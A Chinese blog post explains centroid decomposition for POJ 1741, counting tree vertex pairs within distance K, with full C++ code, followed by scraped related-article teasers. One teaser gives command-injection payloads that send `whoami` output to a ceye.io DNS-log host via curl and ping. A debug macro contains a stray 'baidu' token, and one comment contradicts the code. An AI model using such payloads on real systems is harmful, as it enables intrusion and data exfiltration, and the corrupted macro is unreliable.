POJ 1741 Tree 树上点分治
题目链接:http://poj.org/problem?id=1741
题意:
给定一棵包含$n$个点的带边权树,求距离小于等于K的点对数量
题解:
显然,枚举所有点的子树可以获得答案,但是朴素发$O(n^2logn)$算法会超时,
利用树的重心进行点分治可以将$O(n^2logn)$的上界优化为近似$O(nlogn)$
足以在1000ms的测试时间内通过
具体原理参考注释

#include<iostream>
#include<map>
#include<string>
#include<cstring>
#include<vector>
#include<algorithm>
#include<set>
#include<sstream>
#include<cstdio>
#include<cmath>
#include<climits>
#define endl '\n'
#define ll long long
#define ull unsigned long long
#define fi first
#define se second
#define mp make_pair
#define pii pair<int,int>
#define all(x) x.begin(),x.end()
#define IO ios::sync_with_stdio(false)
#define rep(ii,a,b) for(int ii=a;ii<=b;++ii)
#define per(ii,a,b) for(int ii=b;ii>=a;--ii)
#define forn(x,i) for(int i=head[x];i;i=e[i].next)
#define show(x) cout<<#x<<"="<<x<<endl
#define showa(a,b) cout<<#a<<'['<<b<<"]="baidu<a[b]<<endl
#define show2(x,y) cout<<#x<<"="<<x<<" "<<#y<<"="<<y<<endl
#define show3(x,y,z) cout<<#x<<"="<<x<<" "<<#y<<"="<<y<<" "<<#z<<"="<<z<<endl
#define show4(w,x,y,z) cout<<#w<<"="<<w<<" "<<#x<<"="<<x<<" "<<#y<<"="<<y<<" "<<#z<<"="<<z<<endl
using namespace std;
const int maxn=1e6+10,maxm=2e6+10;
const int INF=0x3f3f3f3f;
const int mod=1e9+7;
const double PI=acos(-1.0);
//head
int casn,n,m,k;
ll val[maxn],dis[maxn],ans,maxt,dfn;
int deep[maxn],vis[maxn],size[maxn];
int dp[maxn],allnode;
struct node {int to,next;ll cost;}e[maxm];int head[maxn],nume;//静态链表存图
void add(int a,int b,ll c){e[++nume]=(node){b,head[a],c};head[a]=nume;}
int mid;
void init(){//初始化
memset(head,0,sizeof head);
memset(dis,0,sizeof dis);
memset(vis,0,sizeof vis);
nume=0;
}
void getmid(int now,int pre){//dfs求树的重心
size[now]=1;//当前点为根,其子树的节点数
for(int i=head[now];i;i=e[i].next){
int to=e[i].to;
if(to==pre||vis[to]) continue;
getmid(to,now);//递归计算子树的大小
size[now]+=size[to];
}
dp[now]=max(size[now],allnode-size[now]);//dp[i]表示以i为根建立子树的时候,最大的子树大小
if(maxt>dp[now]){//maxt为最大的子树大小
maxt=dp[now];
mid=now;
}
}
void dfs(int now,int pre){//计算深度
deep[++dfn]=dis[now];
for(int i=head[now];i;i=e[i].next){
int to=e[i].to,cost=e[i].cost;
if(to==pre||vis[to]) continue;
dis[to]=dis[now]+cost;
dfs(to,now);
}
}
int cal(int rt,int len){//计算rt为根的子树中,深度之和>=k的点对数量
dis[rt]=len,dfn=0;
dfs(rt,0);//以rt为根,dfs计算其子树中所有点的深度
sort(deep+1,deep+dfn+1);
int res=0;
for(int l=1,r=dfn;l<r;){//排序后从两端向中间逼近,总复杂度nlogn
if(deep[l]+deep[r]<=k){
res+=r-l;
l++;
}else r--;
}
return res;
}
void dc(int rt){//分治以rt为根的子树
vis[rt]=1;
ans+=cal(rt,0);//初步计算以rt为根子树答案,包含重复情况
for(int i=head[rt];i;i=e[i].next){
int to=e[i].to;
if(vis[to]) continue;
ans-=cal(to,e[i].cost);//以子节点为根的子树,设置其距离下界为len,对于其子树而言,如果距离减少子树到rt的距离,依然成立的话,必然会被重复计算
allnode=size[to];
mid=0,maxt=INF;
getmid(to,rt);//寻找以rt为根的子树的重心
dc(mid);//以子树重心为树上点分治的起点,保证总复杂度为n(logn)^2级别
} }
int main() {
//#define test
#ifdef test
auto _start = chrono::high_resolution_clock::now();
freopen("in.txt","r",stdin);freopen("out.txt","w",stdout);
#endif
IO;
while(cin>>n>>k,n+k){
init();
int a,b,c;
rep(i,2,n){
cin>>a>>b>>c;
add(a,b,c);
add(b,a,c);
}
mid=ans=0;
allnode=n,maxt=INF;
getmid(1,0);
dc(mid);
cout<<ans<<endl;
}
#ifdef test
auto _end = chrono::high_resolution_clock::now();
cerr << "elapsed time: " << chrono::duration<double, milli>(_end - _start).count() << " ms\n";
fclose(stdin);fclose(stdout);system("out.txt");
#endif
return 0;
}
POJ 1741 Tree 树上点分治的更多相关文章
- poj 1741 Tree(点分治)
Tree Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 15548 Accepted: 5054 Description ...
- POJ 1741 Tree (树分治入门)
Tree Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 8554 Accepted: 2545 Description ...
- POJ 1741 Tree (点分治)
Tree Time Limit: 1000MS Memory ...
- POJ 1741 Tree 树的分治
原题链接:http://poj.org/problem?id=1741 题意: 给你棵树,询问有多少点对,使得这条路径上的权值和小于K 题解: 就..大约就是树的分治 代码: #include< ...
- POJ 1741 Tree【树分治】
第一次接触树分治,看了论文又照挑战上抄的代码,也就理解到这个层次了.. 以后做题中再慢慢体会学习. 题目链接: http://poj.org/problem?id=1741 题意: 给定树和树边的权重 ...
- poj 1741 Tree (树的分治)
Tree Time Limit: 1000MS Memory Limit: 30000K Total Submissions: 30928 Accepted: 10351 Descriptio ...
- POJ 1741 Tree 树的分治(点分治)
题目大意:给出一颗无根树和每条边的权值,求出树上两个点之间距离<=k的点的对数. 思路:树的点分治.利用递归和求树的重心来解决这类问题.由于满足题意的点对一共仅仅有两种: 1.在以该节点的子树中 ...
- POJ 1741 Tree ——(树分治)
思路参考于:http://blog.csdn.net/yang_7_46/article/details/9966455,不再赘述. 复杂度:找树的重心然后分治复杂度为logn,每次对距离数组dep排 ...
- POJ 1741 Tree 求树上路径小于k的点对个数)
POJ 174 ...
随机推荐
- 14.命令模式(Command Pattern)
耦合与变化: 耦合是软件不能抵御变化灾难的根本性原因.不仅实体对象与实体对象之间存在耦合关系,实体对象与行为操作之间也存在耦合关系. ...
- UDP中的sendto 与recvfrom
sendto 头文件: #include <sys/types.h> #include <sys/socket.h> 定义函数: int sendto(int s, con ...
- Hadoop记录-fair公平调度队列管理
<?xml version="1.0"?> <allocations> <queue name="root"> <qu ...
- Linux记录-配置无密码登录
1.互信的机器都执行 ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub >> /home/hdfs/.ssh/authorized_keys chmod 60 ...
- DNSLOG的Payload
命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...
- vue中slot插槽
插槽就是vue实现的一套内容分发的API,将插槽元素作为承载分发内容的出口. 也就是说在组件模板中默认占用一个位置,当使用组件标签时候,组件标签的内容就会自动替换掉内容 slot中可以设置一些默认的内 ...
- 26. SpringBoot 初识缓存及 SimpleCacheConfiguration源码解析
1.引入一下starter: web.cache.Mybatis.MySQL @MapperScan("com.everjiankang.cache.dao") @SpringBo ...
- Docker --rm 自动清理容器内部临时文件
在Docker容器退出时,默认容器内部的文件系统仍然被保留,以方便调试并保留用户数据. 清除断掉链接的容器缓存
- luogu P2387 [NOI2014]魔法森林
传送门 这题似乎不好直接做,可以考虑按照\(a_i\)升序排序,然后依次加边更新答案 具体实现方法是用lct维护当前的树,这里需要维护链上最大的\(b_i\).每次加一条边,如果加完以后没有环直接加, ...
- 判断Python输入是否为数字、字符(包括正则表达式)
当键入字符串时候,我们自己就可以判断了! 一:我们在程序把输入的数字当字符串处理 import re print("我现在要写一个文件数字猜游戏数字游戏:") temp=input ...